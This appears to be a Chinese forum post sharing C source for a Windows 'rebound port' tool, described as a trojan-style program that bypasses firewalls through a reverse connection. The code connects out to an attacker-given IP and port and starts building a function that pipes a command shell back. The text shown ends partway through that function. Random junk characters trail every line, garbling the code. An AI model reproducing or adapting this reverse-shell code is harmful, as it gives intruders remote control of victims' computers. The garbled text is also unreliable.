这是一个Windows下的小程序,可以穿透防火墙反弹连接,当然这是最简单的!看到网络上反弹木马到处都是,心一热就有了这个了(代码很垃圾的)。 IbL'Z
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/* ============================== kaiK1/W0;
Rebound port in Windows NT njZ vi}m~
By wind,2006/7 Yt,MXm\
===============================*/ ^Go,HiB
#include W2fcY;HZ
#include XqUQ{^;aI
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#pragma comment(lib,"wsock32.lib") BBGub?(dR
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void OutputShell(); .boBb<
SOCKET sClient; _G @Zn[v
char *szMsg="Rebound port in Windows NT\nBy shucx,2003/10\nRebound successful,Entry Please!\n"; 8 l)K3;q_
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void main(int argc,char **argv) GYiL}itD=3
{ 2p#d
WSADATA stWsaData; &z5?]`ALu
int nRet; 1%R${Qhr
SOCKADDR_IN stSaiClient,stSaiServer; ebNRZJ?C,
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if(argc != 3) 1#7|au%:)
{ |4P8N{ L>O
printf("Useage:\n\rRebound DestIP DestPort\n"); K@xMPB8in
return; ~TXu20c
}
rt Q{
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WSAStartup(MAKEWORD(2,2),&stWsaData); u0sN[<
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sClient = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); DEhR\Z!
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stSaiClient.sin_family = AF_INET; 2|i1}
stSaiClient.sin_port = htons(0); z;2& d<h
stSaiClient.sin_addr.S_un.S_addr = htonl(INADDR_ANY); ?V+\E2
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if((nRet = bind(sClient,(SOCKADDR *)&stSaiClient,sizeof(stSaiClient)))==SOCKET_ERROR) L;?F^RK{U
{ #>\SK
printf("Bind Socket Failed!\n"); RU'a8j+W
return; e!L5v?
} #3LZX!
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stSaiServer.sin_family = AF_INET; -!qjBK,`X
stSaiServer.sin_port = htons((u_short)atoi(argv[2])); NIQ}+xpC
stSaiServer.sin_addr.s_addr = inet_addr(argv[1]); ZsXw]Wa
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if(connect(sClient, (struct sockaddr *)&stSaiServer, sizeof(stSaiServer))==SOCKET_ERROR) u,`3_I^
{ GHn0(o &K
printf("Connect Error!"); { pQJ.QI
return; Qt{V&Z7
} Mt`LOdiC_
OutputShell(); eN
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} "eOl(TSu/
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void OutputShell() z;e@m2.IM
{ bpU>(j
char szBuff[1024]; cZF|oZ6<
SECURITY_ATTRIBUTES stSecurityAttributes; @4Bl&(3S
OSVERSIONINFO stOsversionInfo; (jhi<eV
HANDLE hReadShellPipe,hWriteShellPipe,hReadPipe,hWritePipe; KWD{_h{ R
STARTUPINFO stStartupInfo; yHC[8l8%
char *szShell; X"`[&